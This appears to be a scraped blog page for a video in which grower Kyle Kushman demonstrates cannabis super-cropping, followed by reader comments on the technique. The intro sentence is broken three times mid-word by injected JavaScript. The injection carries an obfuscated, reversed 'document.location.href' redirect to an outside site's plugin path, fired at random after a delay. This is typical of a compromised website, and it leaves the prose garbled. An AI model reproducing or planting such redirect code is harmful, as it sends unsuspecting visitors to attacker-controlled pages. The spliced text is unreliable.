Cannabis Super-Cropping: Kyle Kushman's "Chiropractic" Plant Training Method / Green Flower

May 02, 2020 by a2 in Shows

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Introducing his famous “chiropractic” technique, award-winning cannabis cultivatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor and breeder Kyle Kushman demonstrates the proper way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pinch, prune and “crack” your cannabis plants’ branches, nodes and stems toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to increase canopy and yield.

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33 thoughts on “Cannabis Super-Cropping: Kyle Kushman's "Chiropractic" Plant Training Method / Green Flower”

Crotch Banister says:

" KIRK? ….KIRK HAMMETT? "

WhoFramedMSG says:

Word for that in botany I think he meant lol. I'm sure it's silicafy

Alphons Mccloud says:

Did you hear that crack? Lol

Tom Schroder says:

Best Tutorial I have seen on the subject. Great Job.!!!

David Ambeau says:

Wow man, this guys plants get everything except the "happy-ending"

Vic Hairyman says:

jesus Christ, I thought this man was snoop dog from the thumbnail

Paul Ziegler says:

Hello from NJ Kyle. I'm not far from Cherry Hill where you grew up. Nice job.

Andy Vicalvi says:

Thanks Kyle! My buddy art used to grow your strawberry cough but passed away in 2008. Every time I watch your videos I think of him because he always told us how you were the best and the creator of the strawberry cough we enjoyed for so long! Thanks for all you do and teach! You’re my hero!

joseph bvr says:

So tommy chong goes to prison for selling water pipes and this guy breeds potent killer strains in the 80s and changes the game forever and gets to do so on camera. Why?

joseph bvr says:

Supercropping is a super stupid word

David S. says:

Covid-19 got me growing, thank you man this video is clear and to the point! Keep up the good work…

mike eheroi says:

at the start i didnt "trust" your face . but as the video progressed you convinced me. you know your stuff. Respect

Mali CRISTO says:

best video I've ever seen on this topic

DJ Zoe Love says:

Would you consider the technique at 27mins to be a type of soft girdling? Your technique (which i have used for years successfully) triggers the plant to develop a growth called a callus. For example some vineyards and fruit orchards do this to supercrop the yield. I have taken your technique a few steps further. As I have experimented with shaving off a small strip of bark and pressing the wound with amazing results. The final step of this is to wrap with a sterile cloth with a small bit of clonex. The next step is to wrap with a half of green fuzzy stick (pipe cleaner). The remaining other half can be used to bend the branch into the direction you want, and hold it in place. Make sure to avoid foliar spraying and getting the wounds wet, as that can cause rot. After 5 to 7 days you can remove the dressing. Thank you for reading, and happy gardening.

tbone says:

Will that cracking give me more yield for sure? My weed comes out great but my yield sucks. I added more light, more air flow, trim it well, tie it up well, etc..

E.B.A.H says:

Now these are the videos I've been looking for!!

Joshua Tinkham says:

Its nice to see ive been doing it right. I tend to leave some so i can monster crop some clones.
I do this when i spread it under a screen then i let it grow a week before flipping. My tent gets crowded i use two screens

Green Hornet says:

Thank fuck its more style than Science. Joker

J G says:

I love to rip a bong with this guy!

Stefan Condurat says:

man i love this video , i hope he does more of this

David Baker says:

Awesome thank you so much

4c00h says:

Hey man, coming back after 6 months, watched your videos a ton of times and had an amazing first crop. I almost had to do no trimming as it was all colas. Thanks!!

Scott says:

Thanks a lot for your passion and expertise on the queen of plants.

Mike Rotchurts says:

I have a question. If there is a finite amount of resources for a plant to grow (as he states) and by removing the lower leaves and 'suckers' enables the plant to re-direct resources creating better flowers etc then wouldn't snapping the branches the way he does use those 'banked' resources up in repairs because the plant would have to repair itself FIRST by creating those 'calcified' joints thus negating any immediate or long term benefits of removing so called 'dead weight'? I am all for the big tie down of a plant and as he said it is a less stressful way to achieve the same results as 'snapping' the plant into submission. I just found that the benefits of taking away with one hand was negated by damaging it with the other. I don't think I missed anything and did watch the video from start to finish and I know he does promote the use of string as a 'less stressful way' to achieving the same results and if this is so then why would you put your plant under stress, more stress than the use of string and then require it to use resources to repair itself?